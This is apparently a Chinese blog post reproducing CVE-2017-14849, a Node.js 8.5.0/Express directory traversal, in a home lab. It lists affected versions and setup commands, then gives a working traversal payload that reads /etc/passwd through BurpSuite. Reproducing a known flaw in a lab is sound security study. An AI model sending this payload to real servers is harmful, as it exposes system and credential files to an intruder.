2019-06-22 Node.js任意文件读取漏洞(CVE-2017-14849)复现

漏洞简介

CVE-2017-14849是Node.js和Express共同导致的一个目录穿越漏洞,可以通过此漏洞读取任意文件。

受该漏洞影响的版本

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

复现过程

环境搭建

靶机:Manjaro Xfce 19.05.21,ip:192.168.5.134

攻击机:Windows10 1809

安装Node.js 8.5.0

在Linux中直接通过命令行安装即可。

wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
tar -zxvf node-v8.5.0-linux-x64.tar.gz
sudo mv node-v8.5.0-linux-x64 /opt/
sudo ln -s  ./bin/npm /usr/bin/npm
sudo ln -s  ./bin/node /usr/bin/node

使用node命令测试,如果进入Node.js交互环境即为安装成功。

安装Express 4.15.5

同样通过命令行安装

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
tar -zxvf 4.15.5.tar.gz
cd express-4.15.5 && npm install

开启express:

cd examples
cd static-files
node index.js

输出提示信息即为开启成功。

漏洞复现

访问192.168.5.134:3000,可以成功访问:

2019-06-22 Node.js任意文件读取漏洞(CVE-2017-14849)复现_第1张图片

payload: /../../../foo/../../../../etc/passwd

使用BurpSuite发送Payload,可以看到成功返回了/etc/password的内容:

2019-06-22 Node.js任意文件读取漏洞(CVE-2017-14849)复现_第2张图片
2019-06-22 Node.js任意文件读取漏洞(CVE-2017-14849)复现_第3张图片

漏洞原理

这个漏洞复现起来很容易,但是原理并不简单,到现在我也没搞得很明白,只知道是Node和Express部分不兼容导致的,具体参考以下这篇文章吧:

https://security.tencent.com/index.php/blog/msg/121

你可能感兴趣的:(2019-06-22 Node.js任意文件读取漏洞(CVE-2017-14849)复现)